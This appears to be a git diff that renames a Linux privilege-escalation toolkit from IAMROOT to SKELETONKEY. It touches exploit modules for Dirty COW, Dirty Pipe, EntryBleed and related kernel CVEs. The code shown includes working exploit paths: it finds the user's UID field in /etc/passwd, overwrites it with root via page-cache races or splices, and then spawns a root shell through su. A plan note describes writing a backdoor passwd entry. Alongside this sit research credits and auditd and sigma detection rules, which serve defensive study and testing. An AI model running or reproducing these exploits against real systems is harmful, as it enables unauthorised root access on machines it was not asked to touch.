+static skeletonkey_result_t dirty_frag_rxrpc_exploit_wrap(const struct skeletonkey_ctx *ctx)
 {
    apply_ctx(ctx);
-    return (iamroot_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
+    return (skeletonkey_result_t)dirtyfrag_rxrpc_exploit(!ctx->no_shell);
 }

-const struct iamroot_module dirty_frag_rxrpc_module = {
+const struct skeletonkey_module dirty_frag_rxrpc_module = {
    .name         = "dirty_frag_rxrpc",
    .cve          = "CVE-2026-43500",
    .summary      = "AF_RXRPC handshake forgery + page-cache write (Dirty Frag RxRPC)",
@@ -265,11 +265,11 @@ const struct iamroot_module dirty_frag_rxrpc_module = {

 /* ----- Family registration ----- */

-void iamroot_register_copy_fail_family(void)
+void skeletonkey_register_copy_fail_family(void)
 {
-    iamroot_register(&copy_fail_module);
-    iamroot_register(&copy_fail_gcm_module);
-    iamroot_register(&dirty_frag_esp_module);
-    iamroot_register(&dirty_frag_esp6_module);
-    iamroot_register(&dirty_frag_rxrpc_module);
+    skeletonkey_register(&copy_fail_module);
+    skeletonkey_register(&copy_fail_gcm_module);
+    skeletonkey_register(&dirty_frag_esp_module);
+    skeletonkey_register(&dirty_frag_esp6_module);
+    skeletonkey_register(&dirty_frag_rxrpc_module);
 }
@@ -0,0 +1,28 @@
+/*
+ * copy_fail_family — SKELETONKEY module registry hooks
+ *
+ * The family currently contains five skeletonkey_module entries:
+ *
+ *   - copy_fail        (CVE-2026-31431, algif_aead authencesn)
+ *   - copy_fail_gcm    (no CVE, rfc4106(gcm(aes)) variant)
+ *   - dirty_frag_esp   (CVE-2026-43284 v4)
+ *   - dirty_frag_esp6  (CVE-2026-43284 v6)
+ *   - dirty_frag_rxrpc (CVE-2026-43500)
+ *
+ * Defined in skeletonkey_modules.c, registered into the global registry
+ * by skeletonkey_register_copy_fail_family() (declared in
+ * core/registry.h).
+ */
+
+#ifndef COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
+#define COPY_FAIL_FAMILY_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module copy_fail_module;
+extern const struct skeletonkey_module copy_fail_gcm_module;
+extern const struct skeletonkey_module dirty_frag_esp_module;
+extern const struct skeletonkey_module dirty_frag_esp6_module;
+extern const struct skeletonkey_module dirty_frag_rxrpc_module;
+
+#endif
@@ -0,0 +1,25 @@
+# NOTICE — dirty_cow (CVE-2016-5195)
+
+## Vulnerability
+
+**CVE-2016-5195** — Copy-on-write race via `/proc/self/mem` + `madvise`
+→ arbitrary file write into the page cache.
+
+## Research credit
+
+Discovered by **Phil Oester**, October 2016. The bug had been latent in
+the kernel since ~2007.
+
+Original advisory: <https://dirtycow.ninja/>
+Upstream fix: mainline 4.9 (commit `19be0eaffa3a`, Oct 2016).
+
+## SKELETONKEY role
+
+Two-thread Phil-Oester-style race: writer thread via
+`/proc/self/mem` vs. madvise(MADV_DONTNEED) thread. Targets the
+`/etc/passwd` UID field flip + `su` for the root shell. Useful for
+**old systems coverage** — RHEL 6/7 (3.10 baseline), Ubuntu 14.04
+(3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT.
+
+Ships auditd watch on `/proc/self/mem` and a sigma rule for non-root
+mem-open patterns.
@@ -1,12 +0,0 @@
-/*
- * dirty_cow_cve_2016_5195 — IAMROOT module registry hook
- */
-
-#ifndef DIRTY_COW_IAMROOT_MODULES_H
-#define DIRTY_COW_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module dirty_cow_module;
-
-#endif
@@ -1,5 +1,5 @@
 /*
- * dirty_cow_cve_2016_5195 — IAMROOT module
+ * dirty_cow_cve_2016_5195 — SKELETONKEY module
 *
 * The iconic CVE-2016-5195. COW race in get_user_pages() / fault
 * handling: a thread writing to /proc/self/mem races a thread calling
@@ -41,7 +41,7 @@
 *   - execve(su) → shell with uid=0
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"

@@ -224,14 +224,14 @@ static void revert_passwd_page_cache(void)
    }
 }

-/* ---- iamroot interface ---- */
+/* ---- skeletonkey interface ---- */

-static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_cow_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] dirty_cow: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    bool patched = kernel_range_is_patched(&dirty_cow_range, &v);
@@ -239,7 +239,7 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
        if (!ctx->json) {
            fprintf(stderr, "[+] dirty_cow: kernel %s is patched\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] dirty_cow: kernel %s is in the vulnerable range\n",
@@ -247,26 +247,26 @@ static iamroot_result_t dirty_cow_detect(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[i] dirty_cow: --exploit will race a write to "
                        "/etc/passwd via /proc/self/mem\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

-static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = dirty_cow_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = dirty_cow_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] dirty_cow: detect() says not vulnerable; refusing\n");
        return pre;
    }

    if (geteuid() == 0) {
        fprintf(stderr, "[i] dirty_cow: already root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    struct passwd *pw = getpwuid(geteuid());
    if (!pw) {
        fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    off_t uid_off;
@@ -275,7 +275,7 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
    if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
        fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
                pw->pw_name);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    if (!ctx->json) {
        fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -292,12 +292,12 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
    }
    if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
        fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (ctx->no_shell) {
        fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
    }

    fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
@@ -305,17 +305,17 @@ static iamroot_result_t dirty_cow_exploit(const struct iamroot_ctx *ctx)
    execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
    perror("execlp(su)");
    revert_passwd_page_cache();
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

-static iamroot_result_t dirty_cow_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    if (!ctx->json) {
        fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
    }
    revert_passwd_page_cache();
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 /* ---- Embedded detection rules ---- */
@@ -325,14 +325,14 @@ static const char dirty_cow_auditd[] =
    "# Flag opens of /proc/self/mem from non-root (the exploit's primitive).\n"
    "# False-positive surface: debuggers, gdb, strace — all legit users of\n"
    "# /proc/self/mem. Combine with the file watches below to triangulate.\n"
-    "-w /proc/self/mem -p wa -k iamroot-dirty-cow\n"
-    "-w /etc/passwd    -p wa -k iamroot-dirty-cow\n"
-    "-w /etc/shadow    -p wa -k iamroot-dirty-cow\n"
-    "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k iamroot-dirty-cow-madv\n";
+    "-w /proc/self/mem -p wa -k skeletonkey-dirty-cow\n"
+    "-w /etc/passwd    -p wa -k skeletonkey-dirty-cow\n"
+    "-w /etc/shadow    -p wa -k skeletonkey-dirty-cow\n"
+    "-a always,exit -F arch=b64 -S madvise -F a2=0x4 -k skeletonkey-dirty-cow-madv\n";

 static const char dirty_cow_sigma[] =
    "title: Possible Dirty COW exploitation (CVE-2016-5195)\n"
-    "id: 1e2c5d8f-iamroot-dirty-cow\n"
+    "id: 1e2c5d8f-skeletonkey-dirty-cow\n"
    "status: experimental\n"
    "description: |\n"
    "  Detects opens of /proc/self/mem followed by madvise(MADV_DONTNEED)\n"
@@ -350,7 +350,7 @@ static const char dirty_cow_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";

-const struct iamroot_module dirty_cow_module = {
+const struct skeletonkey_module dirty_cow_module = {
    .name           = "dirty_cow",
    .cve            = "CVE-2016-5195",
    .summary        = "COW race via /proc/self/mem + madvise → page-cache write (the iconic 2016 LPE)",
@@ -366,7 +366,7 @@ const struct iamroot_module dirty_cow_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_dirty_cow(void)
+void skeletonkey_register_dirty_cow(void)
 {
-    iamroot_register(&dirty_cow_module);
+    skeletonkey_register(&dirty_cow_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * dirty_cow_cve_2016_5195 — SKELETONKEY module registry hook
+ */
+
+#ifndef DIRTY_COW_SKELETONKEY_MODULES_H
+#define DIRTY_COW_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module dirty_cow_module;
+
+#endif
@@ -25,7 +25,7 @@ by them.

 Even in 2026, many production deployments still run vulnerable
 kernels (RHEL 7/8, older Ubuntu LTS, embedded). Bundling Dirty Pipe
-makes IAMROOT useful as a "historical sweep" tool on long-tail
+makes SKELETONKEY useful as a "historical sweep" tool on long-tail
 systems.

 ## Implementation plan
@@ -34,8 +34,8 @@ systems.
  `NOTICE.md` when implemented)
 - `detect()`: kernel version check + `/proc/version` parse + test
  for fixed-version backports
- `exploit()`: writes `iamroot::0:0:dirtypipe:/:/bin/bash` into
-  `/etc/passwd`, then `su iamroot` — same shape as copy_fail's
+- `exploit()`: writes `skeletonkey::0:0:dirtypipe:/:/bin/bash` into
+  `/etc/passwd`, then `su skeletonkey` — same shape as copy_fail's
  backdoor mode
 - Detection rules: auditd on splice() calls + pipe write patterns,
  filesystem audit on `/etc/passwd` modification by non-root
@@ -44,4 +44,4 @@ systems.

 Pick this up after Phase 1 (module-interface refactor of the
 copy_fail family) so this module can use the standard
-`iamroot_module` shape from the start.
+`skeletonkey_module` shape from the start.
@@ -0,0 +1,21 @@
+# NOTICE — dirty_pipe
+
+## Vulnerability
+
+**CVE-2022-0847** — pipe `PIPE_BUF_FLAG_CAN_MERGE` flag inheritance allows
+arbitrary file write into the page cache.
+
+## Research credit
+
+Discovered and disclosed by **Max Kellermann** (CM4all GmbH), March 2022.
+
+Original advisory: <https://dirtypipe.cm4all.com/>
+
+Upstream fix: mainline 5.17 (commit `9d2231c5d74e`, Feb 2022).
+
+## SKELETONKEY role
+
+This module bundles the canonical splice-into-pipe primitive that
+writes UID=0 into `/etc/passwd`'s page cache, then drops a root shell
+via `su`. Detection covers the splice() syscall against sensitive
+files and non-root modifications to passwd/shadow.
@@ -13,14 +13,14 @@
 # Watch /etc/passwd, /etc/shadow, /etc/sudoers, /etc/sudoers.d/* for
 # any modification by non-root — the Dirty Pipe payload typically
 # overwrites these to gain root.
-w /etc/passwd      -p wa -k iamroot-dirty-pipe
-w /etc/shadow      -p wa -k iamroot-dirty-pipe
-w /etc/sudoers     -p wa -k iamroot-dirty-pipe
-w /etc/sudoers.d   -p wa -k iamroot-dirty-pipe
+-w /etc/passwd      -p wa -k skeletonkey-dirty-pipe
+-w /etc/shadow      -p wa -k skeletonkey-dirty-pipe
+-w /etc/sudoers     -p wa -k skeletonkey-dirty-pipe
+-w /etc/sudoers.d   -p wa -k skeletonkey-dirty-pipe

 # Watch every splice() syscall — combined with the file watches above
 # this catches the canonical exploit shape. (High volume on servers
 # using nginx/HAProxy; consider scoping with -F gid!=33 -F gid!=99 to
 # exclude web servers.)
-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice
-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice
+-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice
+-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice
@@ -1,5 +1,5 @@
 title: Possible Dirty Pipe exploitation (CVE-2022-0847)
-id: f6b13c08-iamroot-dirty-pipe
+id: f6b13c08-skeletonkey-dirty-pipe
 status: experimental
 description: |
  Detects file modifications to /etc/passwd, /etc/shadow, /etc/sudoers,
@@ -10,7 +10,7 @@ description: |
 references:
  - https://dirtypipe.cm4all.com/
  - https://nvd.nist.gov/vuln/detail/CVE-2022-0847
-author: IAMROOT
+author: SKELETONKEY
 date: 2026/05/16
 logsource:
  product: linux
@@ -1,12 +0,0 @@
-/*
- * dirty_pipe_cve_2022_0847 — IAMROOT module registry hook
- */
-
-#ifndef DIRTY_PIPE_IAMROOT_MODULES_H
-#define DIRTY_PIPE_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module dirty_pipe_module;
-
-#endif
@@ -1,9 +1,9 @@
 /*
- * dirty_pipe_cve_2022_0847 — IAMROOT module
+ * dirty_pipe_cve_2022_0847 — SKELETONKEY module
 *
 * Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
 * commit (the C code is well-understood — Max Kellermann's public PoC
- * is the reference — but landing it under the iamroot_module
+ * is the reference — but landing it under the skeletonkey_module
 * interface needs the shared passwd-field/exploit-su helpers in core/
 * which are deferred to Phase 1.5).
 *
@@ -15,22 +15,22 @@
 *
 * Detect logic:
 *   - Parse uname() release into major.minor.patch
- *   - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
+ *   - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
 *   - If kernel is on a branch with a known backport, compare patch
 *     level (above threshold = patched, below = vulnerable)
- *   - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
- *   - Otherwise → IAMROOT_VULNERABLE
+ *   - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
+ *   - Otherwise → SKELETONKEY_VULNERABLE
 *
 * Edge case: distros sometimes ship custom-numbered kernels (e.g.
 * Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
 * counter, NOT the upstream patch level). For now we treat that as
- * an unknown distro backport and report IAMROOT_TEST_ERROR with a
+ * an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
 * hint. A future enhancement: parse /proc/version's full string
 * which usually includes the upstream patch level after the distro
 * suffix.
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
 #include "../../core/kernel_range.h"

@@ -223,7 +223,7 @@ static const struct kernel_range dirty_pipe_range = {
 * /etc/passwd writes; safe to run from --scan --active. */
 static int dirty_pipe_active_probe(void)
 {
-    char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
+    char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
    int fd = mkstemp(probe_path);
    if (fd < 0) return -1;
    const char seed[16] = "ABCDABCDABCDABCD";
@@ -252,12 +252,12 @@ static int dirty_pipe_active_probe(void)
    return readback[4] == 'X' ? 1 : 0;
 }

-static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
 {
    struct kernel_version v;
    if (!kernel_version_current(&v)) {
        fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    /* Bug introduced in 5.8. */
@@ -266,7 +266,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
                    v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
@@ -286,7 +286,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
                fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
                                "(version %s)\n", v.release);
            }
-            return IAMROOT_VULNERABLE;
+            return SKELETONKEY_VULNERABLE;
        }
        if (probe == 0) {
            if (!ctx->json) {
@@ -294,7 +294,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
                                "primitive blocked (likely patched%s)\n",
                                patched_by_version ? "" : ", or distro silently backported");
            }
-            return IAMROOT_OK;
+            return SKELETONKEY_OK;
        }
        /* probe < 0: probe machinery failed (mkstemp/open/read) — fall
         * back to version-only verdict and report TEST_ERROR caveat */
@@ -309,21 +309,21 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
                            "use --active to confirm empirically)\n", v.release);
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }
    if (!ctx->json) {
        fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
                        "    Confirm empirically: re-run with --scan --active\n",
                v.release);
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

-static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
 {
    /* Re-confirm vulnerability before writing to /etc/passwd. */
-    iamroot_result_t pre = dirty_pipe_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = dirty_pipe_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
        fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
        return pre;
    }
@@ -333,11 +333,11 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
    struct passwd *pw = getpwuid(euid);
    if (!pw) {
        fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    if (euid == 0) {
        fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* Find the UID field. Need a 4-digit-or-similar UID we can replace
@@ -349,7 +349,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
    if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
        fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
                pw->pw_name);
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }
    if (!ctx->json) {
        fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
@@ -368,7 +368,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
     * far past the file's first 4096 bytes. Refuse cleanly. */
    if ((uid_off & 0xfff) == 0) {
        fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (!ctx->json) {
@@ -377,13 +377,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
    }
    if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
        fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
    }

    if (ctx->no_shell) {
        fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
-                        "[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
-        return IAMROOT_EXPLOIT_OK;
+                        "[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
+        return SKELETONKEY_EXPLOIT_OK;
    }

    /* /etc/passwd now reports our user as uid 0 (in the page cache).
@@ -394,35 +394,35 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
    /* If execlp returns, su didn't actually pop root — revert and report. */
    perror("execlp(su)");
    revert_passwd_page_cache();
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }

-static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
 {
    (void)ctx;
    if (!ctx->json) {
        fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
    }
    revert_passwd_page_cache();
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }

 /* Embedded detection rules — keep the binary self-contained so
- * `iamroot --detect-rules --format=auditd` works without a separate
+ * `skeletonkey --detect-rules --format=auditd` works without a separate
 * data-dir install. */
 static const char dirty_pipe_auditd[] =
    "# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
    "# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
-    "-w /etc/passwd    -p wa -k iamroot-dirty-pipe\n"
-    "-w /etc/shadow    -p wa -k iamroot-dirty-pipe\n"
-    "-w /etc/sudoers   -p wa -k iamroot-dirty-pipe\n"
-    "-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
-    "-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
-    "-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
+    "-w /etc/passwd    -p wa -k skeletonkey-dirty-pipe\n"
+    "-w /etc/shadow    -p wa -k skeletonkey-dirty-pipe\n"
+    "-w /etc/sudoers   -p wa -k skeletonkey-dirty-pipe\n"
+    "-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
+    "-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
+    "-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";

 static const char dirty_pipe_sigma[] =
    "title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
-    "id: f6b13c08-iamroot-dirty-pipe\n"
+    "id: f6b13c08-skeletonkey-dirty-pipe\n"
    "status: experimental\n"
    "logsource: {product: linux, service: auditd}\n"
    "detection:\n"
@@ -435,7 +435,7 @@ static const char dirty_pipe_sigma[] =
    "level: high\n"
    "tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";

-const struct iamroot_module dirty_pipe_module = {
+const struct skeletonkey_module dirty_pipe_module = {
    .name           = "dirty_pipe",
    .cve            = "CVE-2022-0847",
    .summary        = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
@@ -451,7 +451,7 @@ const struct iamroot_module dirty_pipe_module = {
    .detect_falco   = NULL,
 };

-void iamroot_register_dirty_pipe(void)
+void skeletonkey_register_dirty_pipe(void)
 {
-    iamroot_register(&dirty_pipe_module);
+    skeletonkey_register(&dirty_pipe_module);
 }
@@ -0,0 +1,12 @@
+/*
+ * dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
+ */
+
+#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
+#define DIRTY_PIPE_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module dirty_pipe_module;
+
+#endif
@@ -45,7 +45,7 @@ There is no single canonical patch. Partial mitigations include:
 - Lift the proven EntryBleed code from
  `SKYFALL/bugs/leak_write_modprobe_2026-05-16/exploit.c` into
  `module.c` here
- Expose as both a CLI mode (`iamroot --leak-kbase`) and as a
+- Expose as both a CLI mode (`skeletonkey --leak-kbase`) and as a
  library helper (`uint64_t entrybleed_leak_kbase(void)`)
 - Detection rules: timing-attack pattern flags, perf-counter
  anomaly detection (informational — these are hard to make precise
@@ -0,0 +1,23 @@
+# NOTICE — entrybleed
+
+## Vulnerability
+
+**CVE-2023-0458** — KPTI `prefetchnta` timing side-channel leaks the
+kernel base address (KASLR bypass).
+
+## Research credit
+
+Discovered by **Will Findlay**. Formally presented at USENIX Security '23:
+
+> "EntryBleed: A Universal KASLR Bypass against KPTI on Linux"
+> Bert Jan Schijf, Cristiano Giuffrida — USENIX Security 2023
+
+Mainline status: no canonical patch — partial mitigations only.
+
+## SKELETONKEY role
+
+This is a **stage-1 leak primitive**, not a standalone LPE. Other
+modules can call `entrybleed_leak_kbase_lib()` to obtain a KASLR
+slide and feed it to the offset resolver in `core/offsets.c`. x86_64
+only; the `entry_SYSCALL_64` slot offset is configurable via the
+`SKELETONKEY_ENTRYBLEED_OFFSET` env var.
@@ -1,5 +1,5 @@
 /*
- * entrybleed_cve_2023_0458 — IAMROOT module
+ * entrybleed_cve_2023_0458 — SKELETONKEY module
 *
 * EntryBleed (Lipp et al., USENIX Security '23). A KPTI prefetchnta
 * timing side-channel that leaks the kernel base address.
@@ -13,10 +13,10 @@
 *     anti-EntryBleed mitigation = VULNERABLE.
 *   - This module is also a LIBRARY: other modules that need a kbase
 *     leak as part of a chain can call `entrybleed_leak_kbase_lib()`
- *     directly (declared in iamroot_modules.h).
+ *     directly (declared in skeletonkey_modules.h).
 *
 * x86_64 only. On ARM64 / other arches, detect() returns
- * IAMROOT_PRECOND_FAIL and exploit() returns IAMROOT_PRECOND_FAIL.
+ * SKELETONKEY_PRECOND_FAIL and exploit() returns SKELETONKEY_PRECOND_FAIL.
 *
 * For users who'd never go to USENIX (TLDR):
 *   - KPTI unmaps kernel pages from user CR3 on kernel-exit, but leaves
@@ -30,7 +30,7 @@
 *   - Subtract its known offset from kbase → KASLR slide
 */

-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"

 #include <stdio.h>
@@ -120,7 +120,7 @@ static int read_first_line(const char *path, char *out, size_t n)
    return 0;
 }

-static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
 {
    /* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
     * is the most direct signal: "Mitigation: PTI" means KPTI is on
@@ -134,7 +134,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
                            "assuming KPTI on (conservative)\n");
        }
-        return IAMROOT_VULNERABLE;
+        return SKELETONKEY_VULNERABLE;
    }
    if (!ctx->json) {
        fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
@@ -146,7 +146,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
            fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
                            "EntryBleed N/A\n");
        }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
    }

    /* "Mitigation: PTI" or "Vulnerable" or similar — KPTI is most likely
@@ -178,7 +178,7 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
                fprintf(stderr, "[!] entrybleed: ACTIVE PROBE CONFIRMED — "
                                "leak yields plausible kbase 0x%lx\n", kbase);
            }
-            return IAMROOT_VULNERABLE;
+            return SKELETONKEY_VULNERABLE;
        }
        if (!ctx->json) {
            fprintf(stderr, "[+] entrybleed: active probe returned implausible kbase "
@@ -186,9 +186,9 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
        }
        /* Implausible probe result. Either the entry_SYSCALL_64 slot
         * offset doesn't match lts-6.12.x default (different kernel
-         * build) — user should set IAMROOT_ENTRYBLEED_OFFSET — or
+         * build) — user should set SKELETONKEY_ENTRYBLEED_OFFSET — or
         * timing is too noisy. Don't claim CONFIRMED. */
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
    }

    if (!ctx->json) {
@@ -197,21 +197,21 @@ static iamroot_result_t entrybleed_detect(const struct iamroot_ctx *ctx)
        fprintf(stderr, "[i] entrybleed: --exploit will leak kbase (harmless leak; "
                        "no /etc/passwd writes)\n");
    }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }

-static iamroot_result_t entrybleed_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t entrybleed_exploit(const struct skeletonkey_ctx *ctx)
 {
-    const char *off_env = getenv("IAMROOT_ENTRYBLEED_OFFSET");
+    const char *off_env = getenv("SKELETONKEY_ENTRYBLEED_OFFSET");
    unsigned long off = 0;
    if (off_env) {
        off = strtoul(off_env, NULL, 0);
        if (!ctx->json) {
-            fprintf(stderr, "[i] entrybleed: using IAMROOT_ENTRYBLEED_OFFSET=0x%lx\n", off);
